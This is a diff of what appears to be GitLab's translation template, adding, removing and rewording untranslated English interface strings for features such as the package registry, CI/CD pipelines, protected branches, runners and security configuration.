@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
